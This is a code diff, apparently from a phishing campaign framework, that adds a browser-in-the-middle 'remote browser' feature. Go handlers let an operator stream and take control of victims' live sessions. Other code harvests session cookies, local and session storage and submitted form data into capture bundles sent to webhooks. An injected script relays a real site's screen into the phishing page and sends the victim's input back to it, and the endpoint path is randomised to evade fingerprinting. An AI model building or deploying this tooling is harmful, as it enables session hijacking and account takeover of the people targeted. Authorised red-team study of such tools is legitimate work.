CreatedAt: sess.CreatedAt, + VictimConnected: sess.victimConnected.Load(), + CanStream: sess.getBrowserPage() != nil, + } +} + +// ListLiveSessions returns all active victim sessions for the campaign, optionally +// filtered by campaignID query param. +func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + m.Response.Forbidden(g) + return + } + campaignFilter := g.Query("campaignID") + var sessions []liveSessionInfo + m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool { + sess := val.(*activeSession) + if sess.isTest { + return true + } + if campaignFilter == "" || sess.CampaignID.String() == campaignFilter { + sessions = append(sessions, m.sessionToInfo(sess)) + } + return true + }) + if sessions == nil { + sessions = []liveSessionInfo{} + } + m.Response.OK(g, sessions) +} + +// CloseLiveSession terminates an active victim session by cancelling its context. +func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + m.Response.Forbidden(g) + return + } + crID := g.Param("crID") + val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID) + if !loaded { + g.AbortWithStatus(http.StatusNotFound) + return + } + val.Cancel() + m.Response.OK(g, map[string]string{"message": "live session closed"}) +} + +// StreamLiveSession upgrades to WebSocket and streams CDP screencast frames to +// the admin. When mode=control (query param) it also forwards mouse/keyboard +// input from the admin back into the browser. +func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + m.Response.Forbidden(g) + return + } + crIDStr := g.Param("crID") + val, exists := m.RemoteBrowserService.LoadSession(crIDStr) + if !exists { + g.AbortWithStatus(http.StatusNotFound) + return + } + sess := val.(*activeSession) + page := sess.getBrowserPage() + if page == nil { + // newSession() not called yet — no browser page to stream + g.AbortWithStatus(http.StatusServiceUnavailable) + return + } + controlMode := g.Query("mode") == "control" + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + // Buffer screencast frames; drop if the consumer (admin WS write) is slow. + frameCh := make(chan *proto.PageScreencastFrame, 8) + urlCh := make(chan string, 4) + + wait := page.EachEvent( + func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }, + func(e *proto.PageFrameNavigated) (stop bool) { + if e.Frame.ParentID == "" { // main frame only + select { + case urlCh <- e.Frame.URL: + default: + } + } + return + }, + func(e *proto.PageNavigatedWithinDocument) (stop bool) { + select { + case urlCh <- e.URL: + default: + } + return + }, + ) + go wait() + + liveQ, liveW, liveH, liveN := 80, 1280, 800, 1 + startScreencast := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &liveQ, + MaxWidth: &liveW, + MaxHeight: &liveH, + EveryNthFrame: &liveN, + } + if err := startScreencast.Call(page); err != nil { + return + } + defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck + + // Send the current URL immediately so the frontend can populate the bar before the first frame. + info, err := page.Info() + if err == nil && info.URL != "" { + if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + } + } + + // Admin input read loop (control mode only). + if controlMode { + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + return + } + m.dispatchInput(page, msg) + } + }() + } + + // Frame + URL write loop. + for { + select { + case <-page.GetContext().Done(): + // Victim session ended — tell the admin so the UI shows "Session ended". + conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck + return + case <-g.Request.Context().Done(): + return + case u := <-urlCh: + payload, err := json.Marshal(map[string]string{"type": "url", "value": u}) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + case frame, ok := <-frameCh: + if !ok { + return + } + go proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck + var frameW, frameH float64 + if frame.Metadata != nil { + frameW = frame.Metadata.DeviceWidth + frameH = frame.Metadata.DeviceHeight + } + payload, err := json.Marshal(map[string]any{ + "type": "frame", + "data": base64.StdEncoding.EncodeToString(frame.Data), + "width": frameW, + "height": frameH, + }) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + } + } +} + +// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto. +func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { + var cmd struct { + Type string `json:"type"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` // non-empty when keydown should also fire a char event + Text string `json:"text"` // paste payload + URL string `json:"url"` // navigate target + } + if json.Unmarshal(msg, &cmd) != nil { + return + } + btn := proto.InputMouseButtonLeft + if cmd.Button == "right" { + btn = proto.InputMouseButtonRight + } + mods := int(cmd.Modifiers) + switch cmd.Type { + case "mousemove": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: cmd.X, Y: cmd.Y, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mousedown": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mouseup": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "scroll": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseWheel, + X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "keydown": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyDown, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + if ct := cmd.CharText; ct != "" { + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeChar, + Key: ct, + Text: ct, + UnmodifiedText: ct, + Modifiers: mods, + }.Call(page) //nolint:errcheck + } + case "keyup": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyUp, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + case "paste": + page.InsertText(cmd.Text) //nolint:errcheck + case "navigate": + if cmd.URL != "" { + if remotebrowser.ValidateNavigateURL(cmd.URL) == nil { + page.Navigate(cmd.URL) //nolint:errcheck + } + } + case "back": + page.NavigateBack() //nolint:errcheck + case "forward": + page.NavigateForward() //nolint:errcheck + } +} + +// saveCaptureEvent converts a remote browser capture payload to the same bundle +// format used by AITM captures and saves it as a CampaignEvent so it appears in +// the campaign timeline and can be exported to session replay tools. +func (m *RemoteBrowserController) saveCaptureEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + captureValue interface{}, + clientIP string, + userAgent string, +) { + // JSON round-trip so we have a consistent map[string]interface{} regardless of + // whether the value was a Go struct (network.Cookie) or already a map. + raw, err := json.Marshal(captureValue) + if err != nil { + return + } + var capture map[string]interface{} + if json.Unmarshal(raw, &capture) != nil { + return + } + + // Build cookies map keyed by cookie name - matches the AITM cookie bundle format. + cookiesMap := map[string]interface{}{} + if arr, ok := capture["cookies"].([]interface{}); ok { + for _, c := range arr { + if cm, ok := c.(map[string]interface{}); ok { + name, _ := cm["name"].(string) + if name == "" { + continue + } + entry := map[string]string{ + "name": name, + "value": stringField(cm, "value"), + "domain": stringField(cm, "domain"), + "path": stringField(cm, "path"), + "capture_time": time.Now().Format(time.RFC3339), + } + if b, _ := cm["secure"].(bool); b { + entry["secure"] = "true" + } + if b, _ := cm["httpOnly"].(bool); b { + entry["httpOnly"] = "true" + } + if ss, _ := cm["sameSite"].(string); ss != "" { + entry["sameSite"] = ss + } + // CDP returns expires as a float64 Unix timestamp; -1 means session cookie. + if exp, _ := cm["expires"].(float64); exp > 0 { + entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339) + } + cookiesMap[name] = entry + } + } + } + + bundle := map[string]interface{}{ + "capture_type": "cookie", + "source": "remote_browser", + "cookie_count": len(cookiesMap), + "bundle_time": time.Now().Format(time.RFC3339), + "session_complete": true, + "cookies": cookiesMap, + } + + // include localStorage / sessionStorage if present + if ls, ok := capture["localStorage"]; ok && ls != nil { + bundle["localStorage"] = ls + } + if ss, ok := capture["sessionStorage"]; ok && ss != nil { + bundle["sessionStorage"] = ss + } + + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + + // Extract browser metadata (JA4, platform, accept-language) from the victim's + // WS upgrade request, gated on the campaign's SaveBrowserMetadata flag. + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr) + return + } + event.Data = eventData + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +func (m *RemoteBrowserController) saveInfoEvent( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + message string, + clientIP string, + userAgent string, +) { + infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO] + if infoEventID == nil { + return + } + payload := map[string]string{ + "source": "remote_browser", + "message": message, + } + raw, err := json.Marshal(payload) + if err != nil { + return + } + eventData, dataErr := vo.NewOptionalString1MB(string(raw)) + if dataErr != nil { + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: infoEventID, + Data: eventData, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck +} + +// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event. +// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any +// JSON-serializable value passed to submitData() in the script. +func (m *RemoteBrowserController) saveSubmitEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + submitValue interface{}, + clientIP string, + userAgent string, +) { + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + if submitDataEventID == nil { + return + } + bundle := map[string]interface{}{ + "capture_type": "form_data", + "source": "remote_browser", + "data": submitValue, + } + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr) + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Data: eventData, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +// cropImage crops an already-decoded image and returns base64 JPEG at the given quality (1-100). +// quality 0 means use the default (92). +func cropImage(src image.Image, x, y, w, h, quality int) (string, error) { + b := src.Bounds() + if x < b.Min.X { + x = b.Min.X + } + if y < b.Min.Y { + y = b.Min.Y + } + if x+w > b.Max.X { + w = b.Max.X - x + } + if y+h > b.Max.Y { + h = b.Max.Y - y + } + if w <= 0 || h <= 0 { + return "", fmt.Errorf("crop region out of bounds") + } + dst := image.NewRGBA(image.Rect(0, 0, w, h)) + draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src) + var buf bytes.Buffer + q := quality + if q <= 0 || q > 100 { + q = 92 + } + if err := jpeg.Encode(&buf, dst, &jpeg.Options{Quality: q}); err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(buf.Bytes()), nil +} + +// runNamedStream queries the element CSS bounding rect, then streams cropped frames to +// the victim WebSocket until streamCtx is cancelled or the connection closes. +// +// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of +// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata. +// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels. +func (m *RemoteBrowserController) runNamedStream( + streamCtx context.Context, + page *rod.Page, + connMu *sync.Mutex, + conn *websocket.Conn, + selector string, + name string, + si *streamInfo, +) { + // Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport). + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" { + return + } + var cssRect struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 { + return + } + si.setOrigin(cssRect.X, cssRect.Y) + + // displayW/H: CSS pixel size sent to the victim canvas for layout. + // Locked to the element's size at stream-start time; updated only when + // the element itself genuinely resizes (cssRectChanged), NOT when + // EmulateViewport causes responsive-layout reflow that changes cssRect.W/H. + displayW := int(cssRect.W) + displayH := int(cssRect.H) + + streamPage := page.Context(streamCtx) + frameCh := make(chan *proto.PageScreencastFrame, 4) + wait := streamPage.EachEvent(func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }) + go wait() + + nsQ, nsW, nsH, nsN := 85, 3840, 2160, 1 + namedStreamScreencast := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &nsQ, + MaxWidth: &nsW, + MaxHeight: &nsH, + EveryNthFrame: &nsN, + } + if err := namedStreamScreencast.Call(streamPage); err != nil { + return + } + // page (not streamPage) must be used here: streamCtx is already cancelled when this defer + // runs, so a StopScreencast on streamPage would never reach Chrome. + defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck + + var minInterval time.Duration + if si.maxFps > 0 { + minInterval = time.Second / time.Duration(si.maxFps) + } + var lastFrameSent time.Time + + // cropX/Y/W/H are in JPEG pixels, recomputed whenever the JPEG dimensions or + // the viewport (DeviceWidth/Height) change. The viewport can change mid-stream + // when EmulateViewport is applied after the victim sends their window size. + var cropX, cropY, cropW, cropH int + var lastJpegW, lastJpegH int + var lastDevW, lastDevH float64 // track viewport to detect changes + var lastRectCheck time.Time // throttle for periodic element-size polling + + requeryCSSRect := func(devW, devH float64) { + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil { + return + } + if res.Value.Str() == "" || res.Value.Str() == "null" { + return + } + var r struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 { + return + } + cssRect = r + si.setOrigin(cssRect.X, cssRect.Y) + } + + for { + select { + case <-streamCtx.Done(): + stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name}) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck + connMu.Unlock() + return + case frame, ok := <-frameCh: + if !ok { + return + } + // Always ack to prevent CDP screencast stalling. + go proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck + // Throttle: drop frames that arrive faster than maxFps. + if minInterval > 0 && !lastFrameSent.IsZero() && time.Since(lastFrameSent) < minInterval { + continue + } + lastFrameSent = time.Now() + + var devW, devH float64 + if frame.Metadata != nil { + devW = frame.Metadata.DeviceWidth + devH = frame.Metadata.DeviceHeight + } + + // Decode JPEG once; reuse for both scale computation and cropping. + src, err := jpeg.Decode(bytes.NewReader(frame.Data)) + if err != nil { + continue + } + jpegW := src.Bounds().Max.X + jpegH := src.Bounds().Max.Y + + if devW <= 0 { + devW = float64(jpegW) + } + if devH <= 0 { + devH = float64(jpegH) + } + + viewportChanged := devW != lastDevW || devH != lastDevH + jpegDimsChanged := jpegW != lastJpegW || jpegH != lastJpegH + + // When the viewport changes (e.g. EmulateViewport applied after victim connects), + // re-query the element's bounding rect — its CSS position and size may have + // changed due to responsive layout reflow. + if viewportChanged { + lastDevW, lastDevH = devW, devH + requeryCSSRect(devW, devH) + } + + // Periodically re-query the element rect to detect size changes caused by + // CSS transitions, popups expanding, or other dynamic layout shifts. + // Skip when a viewport change already triggered a re-query this frame. + cssRectChanged := false + if !viewportChanged && cropW > 0 && time.Since(lastRectCheck) >= 250*time.Millisecond { + lastRectCheck = time.Now() + oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H + requeryCSSRect(devW, devH) + if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH { + cssRectChanged = true + } + } + + // Recompute scale-aware crop rect whenever JPEG dimensions, viewport, or + // the element's own CSS dimensions change. + if jpegDimsChanged || viewportChanged || cssRectChanged { + lastJpegW, lastJpegH = jpegW, jpegH + + scaleX := float64(jpegW) / devW + scaleY := float64(jpegH) / devH + si.setScale(scaleX, scaleY) + + cropX = int(cssRect.X * scaleX) + cropY = int(cssRect.Y * scaleY) + cropW = int(cssRect.W * scaleX) + cropH = int(cssRect.H * scaleY) + + // Update canvas display size only when the element itself resized, + // not when a viewport change triggers responsive-layout reflow. + if cssRectChanged { + displayW = int(cssRect.W) + displayH = int(cssRect.H) + } + + if cropW <= 0 || cropH <= 0 { + continue + } + // cssWidth/cssHeight: stable CSS display size (locked to initial element + // size, updated only on genuine element resize). width/height are the + // JPEG crop buffer dimensions, which can differ on HiDPI displays. + startPayload, _ := json.Marshal(map[string]interface{}{ + "type": "stream_start", + "name": name, + "width": cropW, + "height": cropH, + "cssWidth": displayW, + "cssHeight": displayH, + }) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck + connMu.Unlock() + } + + if cropW <= 0 || cropH <= 0 { + continue + } + + cropped, err := cropImage(src, cropX, cropY, cropW, cropH, si.quality) + if err != nil { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": "stream_frame", + "name": name, + "frame": cropped, + "width": cropW, + "height": cropH, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } + } +} + +func stringField(m map[string]interface{}, key string) string { + v, _ := m[key].(string) + return v +} diff --git a/backend/data/option.go b/backend/data/option.go index 3c637cc..f17fc32 100644 --- a/backend/data/option.go +++ b/backend/data/option.go @@ -26,6 +26,11 @@ const ( OptionKeyProxyCookieName = "proxy_cookie_name" + // OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the + // victim-facing remote browser WebSocket endpoint. Randomised at first startup + // so the endpoint is not fingerprinted by path alone. + OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path" + OptionKeyDisplayMode = "display_mode" OptionValueDisplayModeWhitebox = "whitebox" OptionValueDisplayModeBlackbox = "blackbox" diff --git a/backend/database/remoteBrowser.go b/backend/database/remoteBrowser.go new file mode 100644 index 0000000..f70ec7e --- /dev/null +++ b/backend/database/remoteBrowser.go @@ -0,0 +1,34 @@ +package database + +import ( + "time" + + "github.com/google/uuid" + "gorm.io/gorm" +) + +const ( + REMOTE_BROWSER_TABLE = "remote_browsers" +) + +// RemoteBrowser is a gorm data model for saved remote browser scripts. +type RemoteBrowser struct { + ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"` + CreatedAt *time.Time `gorm:"not null;index;"` + UpdatedAt *time.Time `gorm:"not null;index"` + CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"` + Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"` + Description string `gorm:"type:text"` + Script string `gorm:"type:text;not null;"` + Config string `gorm:"type:text;not null;"` + + Company *Company +} + +func (e *RemoteBrowser) Migrate(db *gorm.DB) error { + return UniqueIndexNameAndNullCompanyID(db, "remote_browsers") +} + +func (RemoteBrowser) TableName() string { + return REMOTE_BROWSER_TABLE +} diff --git a/backend/embedded/files.go b/backend/embedded/files.go index 5614e20..e1774de 100644 --- a/backend/embedded/files.go +++ b/backend/embedded/files.go @@ -7,6 +7,9 @@ import ( //go:embed tracking-pixel/sendgrid/open.gif var TrackingPixel []byte +//go:embed remotebrowser_inject.js +var RemoteBrowserInjectJS string + // SigningKey1 is verifing the signed .sig file when updating // //go:embed signingkeys/public1.bin diff --git a/backend/embedded/remotebrowser_inject.js b/backend/embedded/remotebrowser_inject.js new file mode 100644 index 0000000..fd41a8b --- /dev/null +++ b/backend/embedded/remotebrowser_inject.js @@ -0,0 +1,194 @@ +(function () { + var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__'); + var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc. + var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el} + var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly + + ws.onopen = function () { + ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight })); + }; + + // Apply stream_start sizing to an already-mounted stream entry. + function applyStreamStart(st, m) { + st.canvas.width = m.width; + st.canvas.height = m.height; + st.w = m.width; + st.h = m.height; + // Display size = element's true CSS-pixel dimensions. + // Replace cssText entirely so there is no max-width left to fight against. + var dw = m.cssWidth || m.width; + var dh = m.cssHeight || m.height; + st.cssW = dw; + st.cssH = dh; + st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;'; + if (st.autoSize) { + st.el.style.width = dw + 'px'; + st.el.style.height = dh + 'px'; + } + } + + ws.onmessage = function (e) { + try { + var m = JSON.parse(e.data); + + if (m.type === 'event' && m.key) { + (h['e:' + m.key] || []).forEach(function (f) { f(m.value); }); + + } else if (m.type === 'stream_start' && m.name) { + // Always store so mountStream() called inside the handler still gets sized. + streamLastStart[m.name] = m; + var st = streams[m.name]; + if (st) { + // Stream already mounted — this is a resize/reposition update only. + // Do NOT re-fire user handlers; that would call mountStream() again + // and create duplicate canvases. + applyStreamStart(st, m); + } else { + // First stream_start for this name: fire user handlers so the page can + // call mountStream() to attach a canvas. + (h['stream_start:' + m.name] || []).forEach(function (f) { + f(m.cssWidth || m.width, m.cssHeight || m.height); + }); + // If the handler called mountStream() just now, apply sizing immediately. + if (streams[m.name]) { + applyStreamStart(streams[m.name], m); + } + } + + } else if (m.type === 'stream_frame' && m.name) { + var st = streams[m.name]; + if (!st) return; + var img = new Image(); + img.onload = function () { + if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; } + if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; } + st.canvas.getContext('2d').drawImage(img, 0, 0); + }; + img.src = 'data:image/jpeg;base64,' + m.frame; + + } else if (m.type === 'stream_stop' && m.name) { + // Remove the canvas from DOM and clear the tracking entry so the next + // stream_start for the same name triggers a fresh mountStream() call. + // Without this, a stop→start cycle (e.g. element removed and re-added) + // leaves a stale canvas in `streams` that silently receives frames while + // subsequent mountStream() calls add new canvases on top. + var stStopped = streams[m.name]; + if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) { + stStopped.canvas.parentNode.removeChild(stStopped.canvas); + } + delete streams[m.name]; + delete streamLastStart[m.name]; + (h['stream_stop:' + m.name] || []).forEach(function (f) { f(); }); + } + } catch (ex) {} + }; + + window.remoteBrowser = { + on: function (ev, nameOrFn, fn) { + if (typeof nameOrFn === 'function') { + h['e:' + ev] = h['e:' + ev] || []; + h['e:' + ev].push(nameOrFn); + } else { + var k = ev + ':' + nameOrFn; + h[k] = h[k] || []; + h[k].push(fn); + } + }, + + send: function (ev, data) { + if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} })); + }, + + mountStream: function (name, el, opts) { + // stream_start fires on every viewport/JPEG-dimension change; guard against + // appending a second canvas if the stream is already mounted. + if (streams[name]) return; + + var autoSize = !!(opts && opts.autoSize); + var allowScroll = !!(opts && opts.scroll); + var allowArrows = !!(opts && opts.arrowKeys); + var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 }; + + var canvas = document.createElement('canvas'); + canvas.style.cssText = 'display:block;outline:none;'; + canvas.setAttribute('tabindex', '0'); + el.appendChild(canvas); + + var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el }; + streams[name] = st; + + // If stream_start already arrived (e.g. mountStream called inside the handler), + // apply the stored sizing now so the canvas has the right CSS dimensions immediately. + if (streamLastStart[name]) { + applyStreamStart(st, streamLastStart[name]); + } + + function coords(e) { + var r = canvas.getBoundingClientRect(); + var sx = st.w > 0 ? st.w / r.width : 1; + var sy = st.h > 0 ? st.h / r.height : 1; + return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) }; + } + + function snd(o) { + if (ws.readyState === 1) ws.send(JSON.stringify(o)); + } + + canvas.addEventListener('mousedown', function (e) { + e.preventDefault(); + canvas.focus(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mouseup', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mousemove', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y }); + }); + + // Scroll: disabled by default to avoid accidentally scrolling the remote browser. + // Enable with { scroll: true } in mountStream options. + if (allowScroll) { + canvas.addEventListener('wheel', function (e) { + e.preventDefault(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y, + deltaX: e.deltaX, deltaY: e.deltaY }); + }, { passive: false }); + } + + // Arrow keys: always preventDefault (prevent page scroll when canvas is focused), + // but only forwarded to the remote browser when { arrowKeys: true }. + canvas.addEventListener('keydown', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keydown', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0), + charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') }); + }); + + canvas.addEventListener('keyup', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keyup', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) }); + }); + + canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); }); + } + }; + + window.rb = window.remoteBrowser; +})(); diff --git a/backend/go.mod b/backend/go.mod index bc9bf3b..0815fd3 100644 --- a/backend/go.mod +++ b/backend/go.mod @@ -12,13 +12,16 @@ require ( github.com/charmbracelet/bubbles v0.20.0 github.com/charmbracelet/bubbletea v1.3.4 github.com/charmbracelet/lipgloss 